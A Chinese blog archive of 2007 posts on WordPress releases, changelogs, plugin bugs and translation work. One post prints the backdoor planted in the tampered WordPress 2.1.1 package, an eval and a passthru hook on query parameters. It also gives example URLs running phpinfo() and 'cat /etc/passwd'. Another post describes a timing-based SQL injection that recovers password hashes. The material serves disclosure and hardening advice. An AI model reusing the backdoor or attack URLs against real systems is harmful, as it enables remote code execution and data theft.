'WordPress' 分类的存档

WordPress 2.2.1发布

WordPress 2.2.1,昨天发布地。

WordPress 2.2.1相对于上一个版本的更新有:

  1. 修正Atom格式评论feed里的小错误,以使其通过Atom验证。[5483]
  2. 修正因[5398]的修改造成的Widgets无法向后兼容。[5484
  3. 文本Widget里的文本将被widget_text过滤器过滤,不过这个过滤器目前什么也没加。这儿好像没设计好,本来是要让他通过wptexturize()、wpautop()函数等函数呢。[5486] [5517]
    Title不存在的时候不显示整个Title部分。[5509]
  4. Page widget允许设置page的排序方式。[5486]
  5. 修复TinyMCE里的ColorPicker。[5488]
  6. 可是很多WordPress初学者很喜欢尝试WP-Cache,因为“静态化”的诱惑。当试用过后发现“效果不明显”,就直接删除了插件。原来WordPress引用wp-content/advanced-cache.php用的是require()函数,这些初学者们安装的时候知道照着安装说明修改wp-config.php文件,加上一句define(’WP_CACHE’, true);,而删除插件时只删除了插件的文件,没有把wp-config.php文件改回来,从而导致WordPress页面显示PHP代码错误。现在require被改成了include,前面还加了个@符号以屏蔽出错信息。[5491]
  7. 修正Widgets后台在IE7下的显示问题。[5493]
  8. 在Widgets后台的页首也添加了一个保存按钮,以方便有很多Widgets导致页面很长的用户。[5493]
  9. 修复批量编辑页面里切换到下一页时退出批量编辑模式的问题。[5497] [5508]
  10. 修正文本Widget里的内容在每次编辑后都被HTML实体化一次的问题。[5499]
  11. 在unset $notoptions[$name]之前检查$notoptions是否为数组,以避免产生PHP错误。[5500]
  12. wp_die()函数中,在使用is_wp_error()函数前先检测其是否已定义。[5507]
  13. 修正通过XML-RPC修改文章时文章作者会被修改成当前作者的问题。5512

先暂停在这里。这次修正了几个安全方面的bug,我看过其中几个,好像是说的很夸张,但是实际上没有什么危险,不太会被人利用。不过也不一定,XDJM们还是快快升级吧。

中文包更新了。剩下的更新日志星期一再写。公司组织旅游,去清远。爬山、漂流、泡温泉,今晚去,星期天晚上才回。要闪咯,886

(一休哥:就到这里,再见吧!)

WordPress 2.1.3 SQL注入漏洞

2007年5月21日,也就是昨天,一个影响WordPress 2.1.3及更早版本的SQL注入漏洞被公布了出来。[via][via]

刚刚在网上看到相关说明,这次是因为没注意检查传入的Cookies而导致可以SQL注入的。(不过SQL注入基本上全是没注意检查传入的变量引起的吧)不过这次注入后执行的SQL语句的返回没有被输出,所以没有办法通过输出直接或间接地获取存放在数据库中的管理员密码。这次的攻击程序只能通过分析页面执行时间的长短来检测密码,这样导致检测时间比较长,而且设置的越长检测结果越精确。通过分析页面执行时间来获取数据库中的资料这种方式倒是很值得研究一下,再使用二分法来检测每一位字符最终获得全部32位字符的方法很好玩。

还好这个问题已经在WordPress 2.2里被修复了。(2007年5月11日的Changeset 5440)WordPress 2.2已经发布一个星期了,模板、插件等各方面兼容性也比较完善了。甚至于,K2模板因为WordPress 2.2的发布准备发布一个新版本(via 《K2 Still Alive》),不过至今一个礼拜过去了,还是没个影,可怜的K2 0.95 RC1还是一直飘在那儿。现在是时候更新到WordPress 2.2了,顺便可以消除这个漏洞。而坚守WordPress 2.1.3的XDJM们,则可以参考WordPress 2.2修改的部分,在wp-includes/pluggable.php的第122行(这是一个空行)加上一句$user_login = $wpdb->escape($user_login);

尝试用攻击代码获取我自己Blog的密码。程序运行在DreamHost主机上,而我的Blog在盘古主机上,所以网络速度比较慢,再加上这个程序本身也很耗时间,最后耗时20分钟拿到了我的Blog密码,当然是MD5过的。对比存放在数据库里的密码,一个字都不差。这种感觉以前经历过一次,所以这次没那么震惊了,唉。如果是黑客拿到了这串密码,再MD5一次,然后伪造一个Cookies就可以登入WordPress后台了。

因为SQL注入可以执行任意的SQL语句,所以如果黑客恶意修改或破坏数据库也没什么办法。但是对于存放在数据库里的用户信息,倒是可以加强一下防范。用户ID可以修改一下,不过文章表和评论表都用到了用户ID,修改起来也比较麻烦。

而安装WordPress时可以修改默认的数据表前缀"wp_",然后再另做一个"wp_users"表,用于迷惑黑客,这样也很不错啊。不过已经装好的WordPress就没办法了,数据表前缀最好不要修改,记得它还被用在"wp_option"表中的某个地方。

另外还有用户名,WordPress不允许修改用户名,很多人是通过新建一个用户,然后把新用户设置为管理员,然后再删除原来的"admin"用户来解决这个问题的。另外,也可以直接修改数据库来修改用户名。因为伪造Cookies需要使用用户名,所以改掉用户名也可以起到防范的作用。

再有就是把WordPress本身以及各个模板和插件的文件的权限设置的低一点,使得在WordPress后台无法修改这些文件。因为黑客登录后台后会上传木马以获得web shell,WordPress本身做了一点限制,就是禁止后台的编辑器修改wp-config.php文件,再把通过设置权限来禁止后台的编辑器编辑各个PHP文件,上传木马就会比较困难了。

当然,最重要的还是做好数据库和文件的备份。还有就是少得罪人,少结点怨,嘿嘿。

UTW导致搜索功能异常

自从3月底搬了家,到现在一切都还顺利。就是有一点,搜索功能好像有点问题。

K2有一个Live Search功能,直接在搜索栏输入要搜索的文字,搜索结果就会在左边显示出来了。我要找旧文章时都是使用这个即时搜索功能,感觉非常方便。这几天经常出现文章搜不到的情况,明明记得自己写过某篇文章,但是就是搜不着。在搜索框输入搜索字符串后,即时搜索显示没有,点回车,WordPress的搜索也显示没有,再到后台文章管理页面,也搜不到。没办法,只好打开Google用“关键词 site:yskin.net”搜索,结果一下子就找到了。

分析了一下,搜不到的几次都是中文关键词,但也不是所有中文都搜不到,有的没问题有的就不行。搬家以后,MySQL版本由4.1变成了4.0,所以我怀疑是MySQL 4.0对中文支持不好导致的问题。直接进PHPMyAdmin,用SQL语句查询同样的关键字,却没有问题。于是改了一下wp-includes/wp-db.php文件,把所有SQL查询语句写入一个记录文件里,找到了搜索时的查询语句:

SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts LEFT JOIN wp_post2tag p2t on wp_posts.ID = p2t.post_id INNER JOIN wp_tags on p2t.tag_id = wp_tags.tag_id WHERE 1=1 AND (((post_title LIKE '%授时%') OR (post_content LIKE '%授时%'))) AND (post_type = 'post' AND (post_status = 'publish' OR post_status = 'private')) OR wp_tags.tag like '%授时%' GROUP BY ID ORDER BY post_date DESC LIMIT 0, 10

很明显我用的tag插件Ultimate Tag WarriorUltimate Tag Warrior在这条语句里加入了一些代码,使得WordPress的搜索功能不仅可以搜索到文章标题和文章内容,也可以搜索到文章的tag。把这条SQL语句拿到PHPMyAdmin里,测试了一下,最终发现把"INNER JOIN wp_tags"这部分的INNER JOIN换成LEFT JOIN就可以了。

记得以前看MySQL文档时看过这部分的介绍,不过讲的不是很清楚。上网查了一下,在这里找到一段说明,原来LEFT JOIN可以确保左表中的所有行出现在结果集中,如果左表中的某一行在右表中没有匹配,则结果集中属于右表的列为空值。而INNER JOIN,结果集只包含左表和右表都匹配的项,也就是说只返回一个交集。看了一下,我要搜索的文章没有加tag,所以才搜不到的,汗。

在UTW的ultimate-tag-warrior-actions.php文件里找到了罪魁祸首ultimate_search_join()函数,查了一下,这个函数是2007年1月17日发布的UTW 3.1415926版被加入的,更新日志最后一条写到:"Search includes tags [I worry about this bit! let me know if you see anything weird]"。我没搬家前用的WordPress 2.0系列,插件都没升级到最新版,所以才没有遇到这个问题。

报了bug,或许等一段时间就有更新了。或者,我应该给所有文章都加上tag,这样也不会有问题。

软件总是会有bug的,无论大小。Windows最近被发现了一个.ani文件的漏洞,影响从Windows 2000到Windows Vista系统。[via]WordPress开发组里的都是大牛,但是WordPress自带的演示性插件Hello Dolly一样有小bug。所以,我们要习惯bug这种事情,就像蔡康永要习惯女人怀孕这种事一样。

WordPress 2.2开始内置了对tag支持,不知道UTW以后怎么办。不过,由于UTW是目前最流行的tag插件,所以WordPress 2.2里加入了一个从UTW中导入tag数据到WordPress核心的工具,对于UTW用户这是个好消息。看来,随大溜还是很必要的,另一个以前也很有名的tag插件Jerome’s Keywords的用户就没这么幸运咯。

WordPress 2.1.3和WordPress 2.0.10发布

WordPress 2.1.3和WordPress 2.0.10于北京时间2007年4月3日早上8点33分发布,距离上次WordPress 2.1.2发布刚好一个月。这应该是WordPress 2.1.x系列里的最后一个版本了,因为WordPress 2.2将在20天后的4月23日发布。WordPress开发日志里花了一半篇幅叙述WordPress.org服务器做了很多安全工作,虽然在这一个月内遭到了数百次黑客攻击,但是没有遭到破坏。看来上次2.1.1被黑的事情对WordPress影响很大啊,希望不会影响到WordPress用户对WordPress的信心。
继续阅读《WordPress 2.1.3和WordPress 2.0.10发布》

Google Sitemap Generator中文包

从开始用WordPress架Blog不久就用了这个Google Sitemap GeneratorGoogle Sitemap Generator插件,因为2005年底就接触了Google Sitemaps,当时好多文章都介绍了说这个东东可以提高Google收录的速度。blogger.com时代用了在线工具建立sitemap.xml文件,转用WordPress之后就立刻找了建sitemap.xml的插件。

今天趁着升级到WordPress 2.1系列的机会,把插件过滤了一遍。Google Sitemap Generator的稳定版一直都是2.7.1,而3.0版从2006年1月就开始beta了,到现在都beta 6了。以前对"beta"很敏感,觉得beta版都是大牛们用的,普通用户还是用稳定版的好。现在懂的多了,就不怕了,毕竟Gmail从2004年4月到现在不还是在beta吗?这个插件目前的最新版本是3.0b6,是2007年1月底发布的,为兼容WordPress 2.1系列做了些改进。新版本里带了很多语言包,也包括繁体中文包和简体中文包,但都是2.7.1时代的,po文件里的信息都是2005年的。在Google里搜了下,网上没人做简体中文包,只有Kirin Lin做了个繁体中文包,于是下载下来,参考着开始做简体中文包。

2.7.1的中文包是june6th(june6th@gmail.com)做的,看起来是直接把Kirin Lin的繁体中文包繁体转简体后生成的,翻译的都一样,还有一处"頁面"没换成简体。我没有直接拿繁体中文包进行繁转简,虽然Word的简繁转换功能很不错,而是参考着重新做。繁体中文包里写的项目名里的版本号是3.0b7,可是插件主页上的最新版本是3.0b6。在插件的svn里找到了3.0b7,下载下来,确实比3.0b6多了一项功能并修复了几个bug。在svn上看到几个小时前作者刚更新了readme文件,看来作者最近又开始关注这个插件了,希望3.0早日脱离beta。

124项字符串,过了一遍,参考了繁体中文包里的翻译、后台页面里的上下文以及在源代码中的上下文,耗时一个半小时翻了出来。翻译的过程中遇到了一些无法翻译的文字,都是因为作者的代码没写好。另外在Kirin Lin的繁体中文包里发现了一些错误。比如,有两个句子大致是一样的,区别只是一个讲的是Google一个讲的是Yahoo,小林翻译好上面Google那句,就直接复制粘贴到下面Yahoo那句,却忘了把"Google"一词改成"Yahoo"了。还有"in seconds"被翻译成“几秒内”,那是个注释,意思是前面要求输入的数值单位为“秒”。还有abbr标签被写成"attr"了,我说怎么这个标签看着怪怪的呢,呵呵。另外,从去年4月我开始用的这个插件的时候,就对"优先级中 (如果自动计算没有打开)"这句话相当疑惑,无奈当时又不懂PHP,也就没再细研究。今天又在繁体中文包中看到这句话,再看一眼英文原文,"Minimum post priority (Even if auto calculation is enabled)",原来是“最小文章优先级(即使优先级自动计算被启用)”,指的是在优先级自动计算的过程中,要求最后的计算结果不得低于这个值。我就这样被蒙蔽了一年...

其实总体还是不错地,上面只是些小瑕疵。在繁体中文包里发现原来FAQ在台湾被翻译成“答客问”,挺好玩的。台湾人好像对中文很热爱,很多英文单词都尽量翻译成中文,比如“视窗系统”、“部落格”。而且在翻译上大多力求完美,翻译成通顺的中文而不是一个单词一个单词的翻译英语式中文。所以在做翻译时有繁体中文包可以抄真是件幸福的事。好像法国人也很热爱自己的母语,前两天报纸上说欧盟最近要庆祝成立50周年,制作的庆祝标志因为用了英文的"together"而被法国抗议。其实,我也很热爱中文,所以英文才很烂的。这个理由不错吧?嘿嘿。

cqcrz总说很羡慕我码字的能力。可是看看去年4月写的这篇《Google Sitemap Generator》,通篇只有两行字而已。所以,码字的能力是锻炼出来的。今天既然把这个插件好好的研究了一遍,就把这篇文章扩充一下。不知道这次能码多少字。

Google Sitemap Generator 3.0b7 简体中文包,下载后丢(这个词是跟小林学的)到wp-content/plugins/sitemap目录里就可以了。目前最新的3.0b7版可以在这里下载。

My Category Order——WordPress分类顺序插件

My Category OrderMy Category Order这个插件的作用在于可以自行设置侧边栏里分类列表的显示顺序。WordPress默认分类列表是按照名称顺序显示的,修改一下调用函数的参数后也仅可以使用分类ID顺序。正因为有很多人希望自己的分类列表的排序方式能够自行控制,所以,My Category Order插件应运而生。

激活这个插件后进入“管理->My Category Order”页面,插件会自动为wp_categories表添加一个名为"cat_order"的列。插件会把分类序号存在这一列里。然后,我们需要手工修改sidebar.php文件(如果使用了SBM则需要修改相应模块文件),在wp_list_categories()函数的调用参数里加上orderby=order一项,让WordPress在输出按这一列排序。

插件的后台很简单,上面显示当前的所有分类的下拉列表,选中一个即可进入该分类。下面按顺序显示分类,可以选中一个后通过“向上”“向下”两个按钮调整他们的顺序,调整好后即可点击后面的按钮保存顺序信息。如果分类层次比较多的话,一个一个进入也挺麻烦的。不过还好,分类顺序也不需要经常调整。

另外,插件无视没有文章的目录哦。所以只有有文章的分类才会在插件后台显示出来。

另外有一个插件Category OrderCategory Order,它更复杂一些,调整也更容易些。不过,我觉得这个插件太小题大做了,它把WordPress的输出整个截取下来做处理,不如My Category Order插件来的巧妙。

WordPress 2.1.2发布

距离上一次WordPress 2.1.1发布仅10天,WordPress 2.1.2发布了。

WordPress官方Blog的文章:《WordPress 2.1.1 dangerous, Upgrade to 2.1.2》。这次急匆匆的发布是因为WordPress网站被攻击了。在三四天前,WordPress网站上WordPress 2.1.1的压缩包被黑客(cracker)修改,有两个文件被加入了一些代码使得WordPress可以执行远程PHP代码。WordPress开发组及时修正了WordPress 2.1.1的压缩包,然后直接发布了WordPress 2.1.2,并且敦促大家尽快升级到WordPress 2.1.2,而且升级的时候最好是上传覆盖所有文件。

这次被影响的只有WordPress网站的WordPress 2.1.1版本的压缩包,所以,比较早时间下载的WordPress 2.1.1不受影响、WordPress其他版本比如2.0.x系列不受影响、从WordPress svn更新的不受影响。不过,鉴于WordPress 2.1.2还是修正了一些bug,所以最好还是更新一下吧。

根据WordPress官方Blog文章的信息,应该是wp-includes/feed.phpwp-includes/theme.php这两个文件被修改了。如果你是网站的管理员,那么应该立刻设置禁止对这两个文件的直接访问。如果你可以拿到网站的访问记录文件的话,可以检查一下是否有直接访问这两个文件的记录,尤其是包含"ix="和"iz="这样的查询。我现在不知道具体改的是什么代码,我的WordPress 2.1.1是发布当天就下载的,在网上通过Google的Blogsearch也查不到具体被修改文件的信息,唉。

WordPress开发组现在做了一些安全措施,保证以后不会再发生此类事件。这次压缩包被修改了三四天才被发现,估计会影响到不少人。不过,在国内还是有很多人喜欢用点点游的中文版,而在国外则高手比较多,直接用svn升级WordPress,再用curl执行升级程序,升个级连浏览器都不用打开。而WordPress的死忠们则大多在WordPress 2.1.1刚发布的时候就更新了,也不会受到影响。总之,在RSS阅读器里订阅WordPress官方Blog的feed,在WordPress新版发布的时候立刻跟进更新,这是非常重要地。

P.S. 看起来国外喜欢用"cracker",只有中国才黑客来黑客去的叫。

WordPress 2.1.2的更新不多,有下面几项:

  1. 修正Ecto通过XMLRPC发布文章时不能Trackback的问题。[4906]
  2. 修正wp_delete_file过滤器不能使用的问题。[4909]
  3. 修正搜索空字符串时返回SQL错误信息的问题。#3722 [4912]
    这个bug可以被黑客利用,如果搜索空字符串可以看到数据库出错信息,如果搜索一个逗号可以搜到所有已发布的文章。
  4. 在“后台->页面管理”页面,按照页面名称顺序进行排序。[4914]
    在WordPress 2.0.x系列里,页面是按照menu order排序的,所以在前台的显示顺序和后台的显示顺序是一样的。
  5. wp-includes/js/tinymce/tiny_mce_config.php文件里添加cache_javascript_headers()函数。[4918]
  6. 给一些SQL查询里的列名前加上表名,以消除二义性。[4923]
  7. 打开TinyMCE里使用Firefox自带拼写检查功能的选项。[4931][4949]
    就是说,如果你用的是Firefox 2.0系列的话,那么在TinyMCE里就可以使用Firefox 2自带的拼写检查功能了。
  8. 修正在单篇文章的评论管理页(http://abc.com/wp-admin/edit.php?p=1&c=1)里无法删除评论和标记垃圾评论的问题。[4936]
  9. AYS的提示信息实体化。[4952]
    这个bug可以造成跨站脚本攻击。具体信息在#3879

WordPress 2.1.2对照WordPress 2.1.1更新的文件:

  • wp-admin/custom-header.php
  • wp-admin/edit.php
  • wp-admin/edit-pages.php
  • wp-includes/js/tinymce/tiny_mce_config.php
  • wp-includes/functions.php
  • wp-includes/query.php
  • wp-includes/script-loader.php
  • wp-includes/version.php
  • xmlrpc.php

要记得检查被篡改的wp-includes/feed.phpwp-includes/theme.php两个文件啊。

2007年4月23日,WordPress 2.2将发布。大限在即,不知道2.1.x系列还能更新多少个版本。

Update:找到了bug报告者Ivan Fratric关于此次事件的说明页面。被添加进WordPress 2.1.1里的代码是:

wp-includes/feed.php:

 function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

wp-includes/theme.php:

 function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

所以攻击者可以通过:

http://wordpressurl/wp-includes/feed.php?ix=phpinfo();
http://wordpressurl/wp-includes/theme.php?iz=cat /etc/passwd

这样的代码来让受攻击的系统执行任意代码。

Ivan Fratric说,他估计文件是在2007年2月25日被修改的,所以从2007年2月25日到2007年3月2日在WordPress网站上下载的WordPress 2.1.1压缩包都会受到影响。

唉,可恶的cracker...

WordPress 2.1.1和WordPress 2.0.9发布

北京时间2007年2月21日凌晨3点57分,WordPress 2.0.9及WordPress 2.1.1发布

这次WordPress 2.0.9的更新只有两处:

  1. 用wp_specialchars()函数处理WordPress确认对话框的内容。这就是WordPress官方Blog所说的防范XSS跨站脚本攻击的地方。[4877]
  2. 在TinyMCE文件和TinyMCE帮助文件里输出正确的文件的编码方式。[4888]

两处小更新,没啥大变化。况且,现在很多人都转用WordPress 2.1了,而各大插件和模板也都陆续开始只兼容WordPress 2.1了。唉,2.0.9这么快发布,WordPress 2.0.10真的要来了。

WordPress2.1.1更新比较大。从2007年1月23日WordPress 2.1发布以来,这一个月的时间,WordPress开发组在忙于WordPress 2.2的同时也对WordPress 2.1做了许多改进。

  1. wp_list_bookmarks()函数里,当$title_li参数为空时,不输出<ul>标签。[4800]
  2. 一些日期格式现在可以被翻译了。包括页面管理页中页面最后更新日期、文章管理页中文章的发布日期、单篇文章的评论管理页(http://abc.com/wp-admin/edit.php?p=1&c=1)中评论的发布时间,以及常规选项页里UTC日期的格式。[4802]
    /wp-admin/edit.php文件里180行那儿,ryan只写了一个下划线。ryan犯这样的错误不是第一次了,而且这个错误从1月25日直到今天2.1.1发布了也没人发现,哈哈。
  3. 修正导致Ecto工具在刷新文章时由于把分类ID设置为整型而导致的错误。[4807]
  4. 读取模板文件的模板名称(Template Name)的时候,因为正则表达式多加了一个空格而导致出错。[4810]
    比如使用K2模板时,page-archives.php文件里写的是:"Template Name: Archives (Do Not Use Manually)",而最终匹配出来并显示的模板编辑器页面右侧的是" Archives (Do Not Use",都是因为那个空格的存在。
  5. 修正wp_create_file_in_uploads过滤器的参数错误。[4819]
  6. 修正匹配more标签的正则表达式。[4822]
    WordPress 2.1里加入的这个好玩的功能,你可以用<!--more 阅读更多内容吧-->这样的more标签来自定义“阅读更多”链接的文字。我觉得这个功能还是有bug,当more标签后面还有其他的html注释的时候,比如分页标签,正则的匹配还是有问题。<!--more-->hoho,<!--haha-->这样的代码会让“阅读更多”链接的文字变成“-->hoho,”。
  7. 添加遗漏的wp-scriptaculous.js文件。[4823]
  8. 修正read_private_pages权限检测错误的问题。[4825]
  9. 在TinyMCE文件和TinyMCE帮助文件里输出正确的文件的编码方式。同WordPress 2.0.9的更新内容。[4846]
    我在Firefox里没遇到过TinyMCE帮助文件有乱码的情况,不知道IE里如果。可能使用非UTF-8编码的Blog会受此bug影响吧。
  10. get_categories过滤器没有作用于从cache中读取的分类信息。[4849]
  11. 在wp_cron()函数里检测当前请求是否为“Blog地址/wp-cron.php”。[4850]
    该bug在某种特殊情况下会造成很大的流量。
  12. 确保存入cache里的没有引用。#3726 [4857]
    这一条很晕,Mark说,"In any case, I discovered the issue. get_category() tries to store an array of object references into the cache. The cache doesn't like this, and stores a blank string instead. So you get a blank string on the way out. Looking around the web, it seems like good old serialize/unserialize is the sure way to make sure you don't have any references.
    Object reference,对象引用。在Coolcode那儿找到对象引用和指针引用的资料,以及,“PHP在序列化时不记录数组中的对象引用。”所以,serialize后再unserialize一个数组就可以去除其中的对象引用了,哈哈。
  13. 只在page页检查page ID。[4864]
    没太看懂,不过2.0.4时期报的bug现在才有人管,看来开发组的大大们可能也没看懂。
  14. /wp-admin/index-extra.php文件里输出HTTP头标识页面的编码方式。[4871]
  15. 始终使用HTTP协议而非HTTPS协议访问TinyMCE的CSS文件。(Link to TinyMCE css file with http scheme on all server setups.)#3646 [4872]
    if ( $_SERVER['HTTPS'] )改成了if ( $_SERVER['HTTPS'] == 'on' )。说是很多人升级到WordPress 2.1时发现文章编辑框里的文字变得很小,而这个问题有些服务器上有出现,有些没有。这条更新解决了这个问题。看了下,我的服务器上没这个问题。怪不得WordPress 2.1刚发布时很多人抱怨编辑框里的文字太小,然后到处问WordPress 2.1降级到2.0.7的方法。
  16. 用wp_specialchars()函数处理WordPress确认对话框的内容。同WordPress 2.0.9的更新内容。[4876]
  17. 修正使用Autosave功能创建的无标题草稿的日期标题被添加了两个时差的问题。[4883]
  18. 修正fix_attachment_link()函数中的正则表达式错误。[4889]
  19. WordPress不再在文章的div标签里添加p标签。[4894]

更新多多,WordPress 2.1的使用者们应该抓紧升级了。WordPress官方Blog列出了WordPress 2.1升级到WordPress 2.1.1更新文件列表,照抄过来,按照字母顺序重新排了下序,又校对了一下,21个文件被修改,还有新增了一个wp-includes/js/scriptaculous/wp-scriptaculous.js文件,没错。

  • wp-admin/admin-ajax.php
  • wp-admin/admin-functions.php
  • wp-admin/custom-header.php
  • wp-admin/edit.php
  • wp-admin/index-extra.php
  • wp-admin/options-general.php
  • wp-admin/options-reading.php
  • wp-includes/js/scriptaculous/wp-scriptaculous.js
  • wp-includes/js/tinymce/tiny_mce_config.php
  • wp-includes/js/tinymce/tiny_mce_gzip.php
  • wp-includes/js/tinymce/wp-mce-help.php
  • wp-includes/bookmark-template.php
  • wp-includes/cache.php
  • wp-includes/capabilities.php
  • wp-includes/category.php
  • wp-includes/cron.php
  • wp-includes/formatting.php
  • wp-includes/functions.php
  • wp-includes/post.php
  • wp-includes/post-template.php
  • wp-includes/version.php
  • xmlrpc.php

WordPress 2.1.1,大餐不容错过。等到4月底又有WordPress 2.2用了,哈哈,2.2很强的说。

WordPress 2.0.8发布

WordPress 2.0.8于北京时间2007年2月6日6点43分正式发布。

WordPress 2.0.8和WordPress 2.0.7相比修改不大,主要有以下几点:

  1. 在设置->永久链接页面里,当更新永久链接结构时WordPress如果检测到.htaccess文件无法写入的时候会给出要写入.htaccess文件的内容,要求用户自行将这段代码写入.htaccess文件中。这段内容以前没有做html实体化处理,现在使用wp_specialchars()函数处理以便这段内容能正确显示出来。#3523, [4789]
  2. 建立查询字符串的时候,对每一项进行检测,如果不是scalar的话就跳过。所谓scalar,PHP文档的is_scalar()部分翻译成标量,指整型、浮点型、布尔型、字符串等普通类型,而非数组、对象等复杂类型。这或许可以防止一些攻击。[4826]
  3. 在WordPress打开远程文件时的加强安全检测。[4827]
  4. 在永久链接结构中包含目录名的时候,比如"/%category%/%year%/%postname%/",直接访问"http://abc.com/wp-rss2.php"这样的地址得不到正确的feed内容。不过好像很少有人用这样的feed地址吧。#3214, [4839]
  5. cache模块和数据库模块增加对PHP 5.2的支持。[4841]
  6. 还有其他一些typo error(拼写错误)。
  7. Akismet更新到2.0版。

更新不大,没什么要紧的漏洞,除了第二条和第三条。i18n部分没更新,所以中文包也不需要更新。我直接上传/wp-includes/version.php完事,反正也快要升级WordPress 2.1了。

这次发布静悄悄的,也没在官方Blog上写个发布说明。唉,WordPress 2.0.x的时代真的已经结束了,WordPress 2.1.x的时代已经来临了。我也应该考虑升级到WordPress 2.1了。WordPress 2.0.x还要维护到2010年,但是随着大家开始转用WordPress 2.1,插件和模板的开发者们也会转向2.1平台的。如果失去了各种插件的支持,谁还会用2.0.x系列呢。

Update:汗,忘了补上WordPress 2.0.8的下载地址了。WordPress的各个release版本都可以在http://wordpress.org/download/release-archive/下载到。而且最好下载tar.gz文件的,因为网站上给出的MD5码是tar.gz文件的。而且,Windows下WinRAR打开tar.gz文件并没有什么问题,Linux/UNIX下就不用说了。

WordPress 2.1中文包

做了几天,前后耗时12个多小时,终于把WordPress 2.1的中文包做好了。

1月28日做好的WordPress 2.0.7中文包2.0版,在此基础上做WordPress 2.1的中文包。因为WordPress 2.1相对2.0系列的改动非常大,更新翻译字符串后,总共有346条待翻译的。于是,一条一条地查源文件查后台对应位置进行翻译。其间还有一些功能我不太了解具体的作用,在源代码里翻了一下实现该功能的代码,也耗了一点时间。

WordPress 2.1里已经把WordPress Database Backup插件移出核心了,而WordPress Database Backup插件已经换了开发者,并推出了兼容WordPress 2.1的2.0版。这个2.0版里修复了以前的一些bug,并增加了对WordPress 2.1的定时功能的支持,但是所有的翻译还是用的直接调用WordPress语言包的方法,没有使用自己的语言包。所以,这次翻译WordPress 2.1时我还是把它包含了进来,使用WordPress 2.1的人只要装上这个插件激活就立即是中文的了,就像以前内置的插件一样。

TinyMCE此次更新巨大,花了一个下午的时间从TinyMCE的各个en.js文件里把要翻译的字符串提取出来,做成po文件。最后弄出了150多项,经过内部查重,再经过对比WordPress中文包查重,最终去掉了所有重复项,只剩133项。TinyMCE的大升级,对应的要翻译的字符串也从42项猛增到133项,确实是个好消息。在编辑文章时按下Alt+v快捷键即可看到更多的工具栏按钮,使用的过程中就会在按钮的提示以及弹出的对话框中看到翻译后的中文了。

在弄好TinyMCE的翻译并合并到WordPress中文包之后,我就上传了mo文件到Blog里做测试。不过很遗憾的发现,有几处工具栏按钮的提示没有正确的显示中文。在WordPress 2.1的源代码里查了一番,又到WordPress网站上查源代码的修改记录,最终查到在[3664]里,进行TinyMCE翻译处理的代码里的正则表达式由$search2 = "/ : (['\"])(.*)\\1/Uem";替换成$search2 = "/\\s:\\s(['\"])(.*)\\1(,|\\s*})/Uem";。于是,原本能翻译的一些地方现在没法翻译了。唉,郁闷的很,辛辛苦苦弄的TinyMCE的翻译,到头来却因为WordPress 2.1的bug而无法完整地翻译整个编辑器的字符串。报了bug #3733,等修复吧。

这次翻译的过程中,多亏了Edwardcqcrz的鞭策,而且翻译完以后他们也帮忙做了测试并提出了很多意见,真是要谢谢他们。

最近在WordPress中文论坛看到有个叫陈少钧的人做了个WordPress 2.1中文包[via],并在他的中文包页面上写上“我们需要结束 WordPress 混乱滞后的中文翻译。把 WordPress 本土化标准和统一,受益的是全体使用 WordPress 的用户。有兴趣推动此标准化的朋友请发邮件给我:paveochen(at)gmail.com 。”(好像现在这句话已经被删了)呃,WordPress的中文翻译,“混乱”倒谈不上,目前也没几个人在做这个事。“滞后”嘛,我倒没觉得点点游和我的中文包翻译的有多烂。“标准”嘛,也许弄了工作组,把大家都拉进来,统一制作WordPress中文包也不错。不过,现在这种局面倒也没什么不好。好几个人在做WordPress中文包,大家愿意用哪个就用哪个。百花齐放也未必是件坏事。

这个中文包我下下来看过,并不是很好。我做了WordPress中文包,里面一千三百多项字符串,每一项我都是认真找出在源代码中的地址仔细的查看过,所以对每一项字符串我都清楚的很。陈少钧的整个中文包我大致翻了一下,很多地方都和我和点点游的中文包没什么不同,有些地方还自作聪明的按照英文原文做翻译,却没有参考源代码。比如,我的中文包对存档日期格式的翻译是“%2$d年%1$05s”,而对月份的翻译是“1月”、“2月”...“12月”。"%1$05s"里,5的意思是要显示5个字节,0的意思是不足的以数字0做补充。因为UTF-8里汉字都是3个字节的,所以最终显示效果就是“01月”、“02月”...“12月”。这样把格式写进翻译字符串而不是直接把“01月”写进月份的翻译也是为了不影响其他地方的日期格式。不过,陈少钧的中文包里照抄了我对存档日期格式的翻译,却把月份的翻译改为了“一月”、“二月”...“十二月”,这样就不对应了。

最近nbachiyski提了个建议#3687,建议给要翻译的文字加上注释,以方便翻译者。我觉得这没这个必要。WordPress使用了gettext,翻译者使用poEdit软件即可从WordPress源代码里得到所有要翻译的英文字符串。但是,翻译的时候并不能只看这些英文字符串做翻译,而是要参考每个字符串在源代码里的上下文。同时,翻译者要对WordPress有足够的了解,起码对后台各个选项的作用要清楚。只有这样,翻译出来的效果才会比较好。或许,陈少钧同学应该先把自己的中文包做好,再来扯标准这面大旗。当然,我也知道,“三流企业做产品,二流企业做品牌,一流企业做标准”,扯上标准这面大旗对自己是很有利的。而且,使用者如果看到“WordPress标准中文包”或者“WordPress官方中文包”的字样,也会有所倾心的。只是,在做标准之前,先把你的产品做好撒。

点点游做的WordPress中文版很不错,很多地方都做了很深入的汉化,比如WordPress自带的两个模板,以及很多WordPress没提供汉化的日期等部分。据点点游大大本人所说,他曾经做过很多大型程序的汉化工作。怪不得做WP的汉化做的这么专业。

我做的中文包不同于中文版,有很大的局限性,所有WordPress不提供翻译的地方我都翻译不了。我能做的也就是尽量的去报bug,但是也比较麻烦。首先我的英语很蹩脚,要跟WordPress开发组的人解释清楚事情的原委要查好久的金山词霸。另外,WordPress开发组也比较懒,感觉上好像很多bug被报上去后,他们总要说,希望有人做个Patch。或许,有了Patch他们可以很容易的让机器帮他们合并到WordPress源文件里,而不用自己去找那几行代码了。而我又不会做Patch,对svn软件不太熟...

